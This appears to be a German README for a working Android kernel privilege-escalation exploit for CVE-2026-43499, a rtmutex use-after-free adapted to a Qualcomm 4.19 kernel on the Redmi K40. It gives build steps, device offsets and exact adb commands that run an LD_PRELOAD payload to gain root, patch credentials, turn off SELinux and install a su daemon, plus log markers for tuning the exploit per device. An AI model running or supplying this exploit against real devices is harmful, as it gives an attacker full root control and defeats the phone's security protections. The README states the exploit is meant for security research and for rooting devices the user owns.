
Android-Kernel-LPE-PoC für CVE-2026-43499, ein rtmutex-Use-after-free in 4.19-Qualcomm-Kerneln, angepasst für Redmi K40 mit LD_PRELOAD-Root-Payload.
Lokale Rechteausweitung durch Ausnutzung von CVE-2026-43499 — ein rtmutex
remove_waiter()-Bug, der einen struct rt_mutex_waiter auf dem
Kernel-Stack des Waiters zurücklässt (kernel/locking/rtmutex.c, CWE-416 Use-after-free).
Angepasst von
NebuSec/CyberMeowfia
(IonStack/CVE-2026-43499, Apache-2.0) für eine Qualcomm Android 4.19.x
Vendor-Kernel-Familie.
4.19.157-perf-g9607d8651312 (qcom, clang 10.0.7, SMP PREEMPT, aarch64)futex_requeue() Proxy-Lock-Rollback ruft remove_waiter() auf, das
auf current statt auf waiter->task operiert — rb-tree Dequeue ohne
pi_lock, hängendes pi_blocked_on, was zu einem Kernel-Stack-UAF führt.
Betroffen bis 5.10/5.15/6.1/6.6/6.12/6.18/7.0 gefixte Versionen; 4.19 hat
keinen Backport (EOL), daher ist 4.19.157-perf betroffen.src/ angepasste Exploit-Quellen (preload.so)
src/targets/oplus-4.19.157-perf/target.h gerätespezifische Offset-Tabelle (aus kallsyms abgeleitet)
prebuilt/ kompilierte Artefakte (aarch64)
adaptation-4.19.patch vollständiger Diff gegenüber dem Upstream-Pixel-(6.x)-Code
Makefile, build.sh Build-Einstiegspunkte
configfs_read_file / configfs_write_bin_file sind an den .read/.write
fops-Slots platziert (4.19-Signaturen), und das Read-Primitiv verwendet das vereinfachte
count/page/ppos=0 Fake-Buffer-Layout/dev/ashmem) fehlt auf diesem Kernel — Präfixlänge 0selinux_blob_sizes existiert nicht auf 4.19 → direktes cred->security
(SELINUX_CRED_BLOB_OFF=0); struct seccomp hat kein filter_countASHMEM_MISC_FOPS = miscdevice.fops-Slot (ashmem_misc + 0x10)Linux / WSL mit Android NDK:
export NDK_ROOT=/path/to/android-ndk-r27c
./build.sh # oder: make PROJECT=oplus-4.19.157-perf
Ausgaben: prebuilt/preload.so (LD_PRELOAD-Payload) und ein eingebetteter
su_daemon PIE.
Erfordert eine ADB-Shell (eine normale, unprivilegierte adb shell reicht aus — der
Exploit läuft vollständig unprivilegiert und eskaliert sich selbst).
# 1. Payload übertragen
adb push prebuilt/preload.so /data/local/tmp/
# 2. Exploit gegen einen beliebigen Befehl ausführen (hier: id) via LD_PRELOAD
adb shell LD_PRELOAD=/data/local/tmp/preload.so id
# bei Erfolg erwartet: uid=0(root) gid=0(root) groups=...
# bei Fehlschlag beendet sich der Prozess mit 1 und das untenstehende Log zeigt, wo er gestoppt hat.
Optionale Einzeiler-Varianten:
# auch den Exit-Status erfassen
adb shell "LD_PRELOAD=/data/local/tmp/preload.so id; echo rc=\$?"
# interaktive Root-Shell (der Exploit installiert auch einen su-Daemon)
adb shell "LD_PRELOAD=/data/local/tmp/preload.so /system/bin/sh -c 'su -c id'"
Jede pr_*-Zeile wird mit sofortigem write()+fsync() auf die Festplatte gespiegelt, damit
die Spur einen Kernel-Panic/Reboot übersteht:
/sdcard/Download/log_<timestamp>.txt
Fallback-Pfade, falls /sdcard nicht verfügbar ist: /sdcard/Downloads,
/data/local/tmp/log_<timestamp>.txt.
# nach dem Lauf (auch nach einem Reboot):
adb shell "ls -t /sdcard/Download/log_*.txt | head -1"
adb shell "cat $(adb shell 'ls -t /sdcard/Download/log_*.txt | head -1' | tr -d '\r')"
Wichtige Log-Marker:
preload starting pid=... log=/sdcard/Download/log_<ts>.txt — Payload geladenslide-kaslr-ok ... base=... — KASLR-Basis wiederhergestelltpipe-physrw-summary ... root=1 ... — phys RW installiertuid_before=... uid_after=0 ... selinux=1->0 — Credentials gepatchtUNVERIFIED aus — diese
Stufe ist diejenige, die pro Gerät anhand dieses Logs abgestimmt werden muss.target.h markiert und werden zur Laufzeit
als UNVERIFIED geloggt. Iterieren Sie auf dem Gerät anhand des fsync-Logs.CONFIG_STATIC_USERMODEHELPER=y in diesem Build deaktiviert modprobe-Pfad-Tricks;
der primäre Pfad ist direktes cred-Patchen./proc/kallsyms) und /proc/slabinfo vor dem Einsatz.Apache-2.0 (Upstream: NebuSec/CyberMeowfia). Nur für Sicherheitsforschung und autorisiertes Rooten von Geräten. Nur auf Hardware verwenden, die Ihnen gehört.